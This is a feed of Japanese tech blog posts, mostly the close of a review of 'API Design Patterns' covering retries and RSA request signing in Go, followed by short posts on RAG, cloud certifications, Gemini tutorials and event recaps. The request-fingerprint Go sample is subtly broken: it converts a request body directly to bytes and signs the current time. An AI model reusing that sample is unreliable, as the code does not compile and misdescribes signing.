revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\\"API Design Patterns\\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\\"Retry-After\\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\\"Retry-After\\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\\"Retry-After\\") if retryAfter != \\"\\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \\"crypto\\" \\"crypto/rand\\" \\"crypto/rsa\\" \\"crypto/sha256\\" \\"encoding/base64\\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \\"crypto/sha256\\" \\"fmt\\" \\"net/http\\" \\"strings\\" \\"time\\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\\"(request-target): %s %s\\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\\"host: %s\\", r.Host), fmt.Sprintf(\\"date: %s\\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\\"digest: SHA-256=%s\\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \\"\\\\n\\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RAGの検索対象ファイル数","contentSnippet":"RAGアプリの開発で、対象ファイル1件の情報のみ出力してほしいのに、複数のファイルの内容が混ざって出力されることがありました。RAGの検索対象ファイル数を1にするだけで解決しました。最初は、ファイルごとにRAGを分けないといけないのでは?と思いやろうとすると超絶面倒そう。RAGの検索対象ファイル数を1にするだけでOKだと気づいてよかった!","link":"https://shu-kob.hateblo.jp/entry/2024/08/19/235703","isoDate":"2024-08-19T14:57:03.000Z","dateMiliSeconds":1724079423000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"エンジニア夏休み明けの仕事(Slackを使っている場合)","contentSnippet":"2024年。お盆休みをとって、8月19日(月)から仕事再開の方も多いと思います。最初に何をして、スムーズに仕事を再開できるかを書きたいと思います。Slackを使っていることを前提として書きます。夏季休暇の時期は自由で、自分はお盆休みとっても、とっていない方がメンションを飛ばしていることもあると思います。Slackのアクティビティで確認しましょう。量が多ければ、タスクを登録しましょう。JiraやNotionなどのカンバンボードに。Googleカレンダーを使用している場合は、カレンダー上でタスクを登録する手もあります。私はカンバンボードに加えて、ちょっとした作業はカレンダー上にタスクを登録したりしています。たくさんのメンションが来ている方もいらっしゃるかもしれませんが、一つずつ確実に消化していきましょう!お盆休み明けのお仕事頑張りましょうね!","link":"https://shu-kob.hateblo.jp/entry/2024/08/18/233512","isoDate":"2024-08-18T14:35:12.000Z","dateMiliSeconds":1723991712000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"つくって、壊して、直して学ぶ Kubernetes入門 Kindle版が期間限定で半額","contentSnippet":"つくって、壊して、直して学ぶ Kubernetes入門作者:高橋 あおい翔泳社AmazonKubernetesの入門書「つくって、壊して、直して学ぶ Kubernetes入門」Kindle版が期間限定で半額です!(2024年8月17日現在、終了まで5日)この書籍は、難解と言われるkubernetesをタイトル通りつくって、壊すハンズオンにより実践的に学べます!漫画も豊富に描いてあり、とっつきやすいです!私もこの半額キャンペーンでKindle版を買うて読んでいる最中です。発売も2024年4月なので、情報も新しいです。IT技術書はすぐに情報が古くなるので、最新の情報を読んでいく必要がありますからね。Kubernetesの入門書籍はこちらがダントツ一推しだと思います!","link":"https://shu-kob.hateblo.jp/entry/2024/08/17/230505","isoDate":"2024-08-17T14:05:05.000Z","dateMiliSeconds":1723903505000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OSC(オープンソースカンファレンス) 2024 Online/Fallに日本生成AIユーザ会で申し込んだ","contentSnippet":"最近ブログを毎日書いていて、ネタが尽きてきたのですが(苦笑)、今日はOSC(オープンソースカンファレンス) 2024 Online/Fallに日本生成AIユーザ会で申し込んだのでした。event.ospn.jp10月18日(金)と19(土)で19(土)でのセミナー発表を希望しています。OSCはオープンソースの祭典で、日本生成AIユーザ会はOSC 2024 Online/Springで産声を上げました。shu-kob.hateblo.jpwww.ospn.jpOSCは全国で開催され、私も昔はいろいろ行きました。東京、大阪、京都、名古屋、浜名湖(浜松)、北海道(札幌)event.ospn.jp10月26日(土)に浅草で開催されるOSC東京Fallにも出展しようと思います!ちょっと先ですが、お会いできることを楽しみにしています!","link":"https://shu-kob.hateblo.jp/entry/2024/08/16/235654","isoDate":"2024-08-16T14:56:54.000Z","dateMiliSeconds":1723820214000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"WindowsでGitをセットアップするには","contentSnippet":"私は仕事もプライベートもMacですが、仕事にてWindowsでGitを使うにはどうすればいいという相談を受けました。www.sourcetreeapp.comSourcetreeを推しときましたが、他には、Git for Windows という手もありますね。gitforwindows.org有料だけど、forkがいいという噂。git-fork.com自分の環境だけでなく、他の人の環境の相談にも乗れるようにキャッチアップ頑張ります!","link":"https://shu-kob.hateblo.jp/entry/2024/08/15/235944","isoDate":"2024-08-15T14:59:44.000Z","dateMiliSeconds":1723733984000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm-api-test-automation/","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud認定試験のリモート受験を風呂場で","contentSnippet":"shu-kob.hateblo.jp先日、Google Cloud Professional Cloud Architectに合格したという記事を書きましたが、初めてリモートで受験しました。私はオンサイトのテストセンター派ですが、連休初日にGoogle Cloud Professional Cloud Architectに合格して景気付けしようと思ったものの、この日昼は予定があり、夜はテストセンターがやっていないためです。リモートは当日に申し込んでも受験できます。事前準備・専用のブラウザのインストール以上2点を済ませておけばOKです。風呂場で受験wing-degital.hatenablog.com自室は散らかっているので、上記記事を参考に、風呂場で受験。風呂ふたの上にPCを置き、バスタブの中に直接座りました。上記記事はざっとしか読んでなかったので、クッション用意すれば良かったです。(後で足が痺れた。)10分前からログインできるのですが、確かテストに入る前のチェックリストに答えました。スマホのカメラと連携して、室内をくまなく撮影したり、ID(私は運転免許証を選択)を撮影したりしました。その後、待機でかなり待ちました。夏なので、汗がダラダラ。お風呂に冷房なんてないわけで辛かった。。時間は経っていき、大丈夫かな?と思っていましたが、やっとチャットオペレーターとのチャットが開始PCのカメラで室内を撮影したり背中にあるものは何だ?と聞かれたり、(お風呂のコントローラーです)質問に答えていくと大丈夫でした。途中言語モードを日本語にしていたのですが、これが後で良くなかった。いざ、試験。言語モードを日本語に切り替えると、何問目かがわからなくなっていたのと、問題文が途中で途切れていたり、解答文中の英語も日本語に訳されてわからなくなったりして、大変でした。途中で言語を英語に切り替えると悪影響があるかもしれないから、最後まで解答はすることにもうすぐ全問解答かと思いきや、途中でネットワークが途切れました。。。部屋のWi-Fiルータから風呂までは電波が弱かったようです。風呂でPC使ったことないから気づかなかった。3分以上途切れると、試験終了となってしまうようです。試験終了になったら、解答は保存されていて、その分で採点される模様。それで落ちた場合、再受験の制限(初回で落ちたら14日間、2回目で落ちたら60日間、3回目で落ちたら365日間再受験できない)が適用される模様です。幸い、復旧でき、解答を続けられました。最後まで解答したら、言語を英語に切り替えました。日本語の試験なので、問題文と解答文は日本語です。何問目かと問題文、解答文がちゃんと表示されるようになり、見直し。試験を終了しました。Google Cloud認定試験終了後の15問アンケートは任意で、答えるようにしているのですが、14問目くらいで再びネットワークエラー。幸い、復旧。アンケートを全部答えると、試験結果は「Pass」(合格)このとき、「よっしゃー」と囁いてしまって大丈夫かな?と思いましたが、大丈夫で、後日認定通知が来ました。試験自体は終えてますからね。なお、試験中声を出すと、試験終了となり不合格となります。私は試験のときは家で一人だったのですが、家で家族がいる場合は、話しかけたりされないように注意してください。リモートのお風呂される方は参考にしてください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/14/235622","isoDate":"2024-08-14T14:56:22.000Z","dateMiliSeconds":1723647382000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Geminiマルチモーダルプログラミングハンズオン","contentSnippet":"genai-users.connpass.comこの記事は上記ハンズオン勉強会の資料です。準備設定↓ Google Cloudにアクセスcloud.google.com秘密鍵がダウンロードされます。git clone https://github.com/shu-kob/gemini-multimodalcd gemini-multimodalダウンロードした秘密鍵を gemini-multimodal/ 配下に配置し、環境変数の設定ファイルに記載( ここでは .zprofile )export GOOGLE_APPLICATION_CREDENTIALS=\\"/Users/username/programing/gemini-multimodal/projectid-abcdefg.json\\"source ~/.zprofilecloud.google.compip install --upgrade pippip install vertexai音声解析cloud.google.comGoogle Cloud Storageに音声をアップロードします。aicross.co.jpここでは、コールセンターを模擬した音声を自分で収録したファイルを使います。project_id と audio_file_uri を変更します。python3 audio.pyTraceback (most recent call last): File \\"/Users/kobuchishu/programing/gemini-multimodal/audio.py\\", line 1, in import vertexaiModuleNotFoundError: No module named \'vertexai\'というエラーが出るときは下記を参照qiita.com公式サイトからインストールしていたらなるっぽいです。以下をお試しください。zenn.dev画像・動画解析cloud.google.com画像解析Google Cloud Storageに画像をアップロードします。project_id と image_file_uri を変更します。python3 image.py動画解析pixabay.comフリー動画サイトなどから動画を収集します。Google Cloud Storageに動画をアップロードします。project_id と video_file_uri を変更します。python3 video.py今後のイベント情報langchain.connpass.com↑小渕登壇しますオンサイトのみで一般参加は2名オーバーこの日天気悪いかも気をつけてお越しください※【追記】台風接近に伴い、オンライン開催への切り替えまたは延期してオンサイト開催にするとのことです。3-shake.connpass.com↑小渕は運営やっております。SREのイベントですが、LLMのオブザーバビリティという話があります!無料懇親会付きです!pages.sreake.com↑小渕登壇します。無料懇親会付きです!","link":"https://shu-kob.hateblo.jp/entry/2024/08/13/193929","isoDate":"2024-08-13T10:39:29.000Z","dateMiliSeconds":1723545569000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Docker Build Check について検証をしてみた","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/docker-build-check/","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Professional Cloud Architectに合格","contentSnippet":"お盆休みいかがお過ごしでしょうか?8/10, 11, 12と3連休だった方は13からのお仕事頑張ってください。8/13以降も休みの方は引き続き休みをお楽しみください。さて、8月10日に受けたGoogle Cloud Certified - Professional Cloud Architectに合格しました!shu-kob.hateblo.jp以前合格したGoogle Cloud Certified - Professional Cloud DevOps Engineerに続き、Google Cloudプロフェッショナル2つ目です!実はDevOpsもCloud Architectもそれぞれ初回で落ちて2回目で受かっています。初回は勉強、理解不足でしたね。なお、私のGoogle Cloud経験は1年未満なので、実戦が少ない分、勉強を頑張らねばなりません。Udemyの以下の模擬試験がオススメです!click.linksynergy.comGoogle Cloudをお使いの皆さんも認定試験にチャレンジしてみてください!","link":"https://shu-kob.hateblo.jp/entry/2024/08/12/224136","isoDate":"2024-08-12T13:41:36.000Z","dateMiliSeconds":1723470096000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テレビでGeminiのCMをよく見るようになりました","contentSnippet":"youtu.beいろんなモデルがあり、OpenAIのChatGPTが知名度のある中、最近テレビでGeminiのCMをよく見かけるようになりました。GeminiはGoogleがやってるだけあって、GoogleのCMとして出しやすいですよね。個人的にもGemini派なので、ユーザが増えて、モデルがどんどん進化していってくれるといいと思いました。","link":"https://shu-kob.hateblo.jp/entry/2024/08/11/235818","isoDate":"2024-08-11T14:58:18.000Z","dateMiliSeconds":1723388298000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 ~ GKE 編 ~","contentSnippet":"これはなに?先日、Google Cloud Next Tokyo’24が開催されました。Google Cloud Next Tokyo ’24 の セッションを(勝手に)Recap したものになります基調講演のアーカイブも公開されているので、見逃した方はぜひご覧くださいhttps://cloudonair.withgoogle.com/events/next-tokyo-24気になる箇所だけ見たい方は、目次から飛んでください! セッション進化するコンテナ環境: Google Kubernetes Engine と Cloud Run の最新アップデートと使い所を徹底解...","link":"https://zenn.dev/yokoo_an209/articles/google-next-recap-gke","isoDate":"2024-08-09T01:18:24.000Z","dateMiliSeconds":1723166304000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 ~ Cloud Run 編 ~","contentSnippet":"これはなに?先日、Google Cloud Next Tokyo’24が開催されました。Google Cloud Next Tokyo ’24 の セッションを(勝手に)Recap したものになります前回の GKE 編に引き続き、今回は Cloud Runについての最新アップデートのご紹介です!https://zenn.dev/yokoo_an209/articles/google-next-recap-gke セッション進化するコンテナ環境: Google Kubernetes Engine と Cloud Run の最新アップデートと使い所を徹底解説https:/...","link":"https://zenn.dev/yokoo_an209/articles/google-next-recap-cloud-run","isoDate":"2024-08-09T01:18:24.000Z","dateMiliSeconds":1723166304000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SRE支援の効果的なアプローチについて(SRE NEXT 2024登壇のRecap)","contentSnippet":"この記事は、SRE NEXT 2024で、株式会社スリーシェイクのスポンサーセッションとして登壇した「内製化を見据えた効果的なSRE支援のアプローチ」をセルフでRecapしたものになります。 はじめに株式会社スリーシェイクのSreake事業部に所属しています。2024年8月3日、4日に開催された SRE NEXT 2024 に「内製化を見据えた効果的なSRE支援のアプローチ」という題で登壇しました。20分の枠なのに60枚弱のスライドを作成するという暴挙に出てしまい、端折りながらの説明となってしまったため、Recapとして登壇内容を解説します。 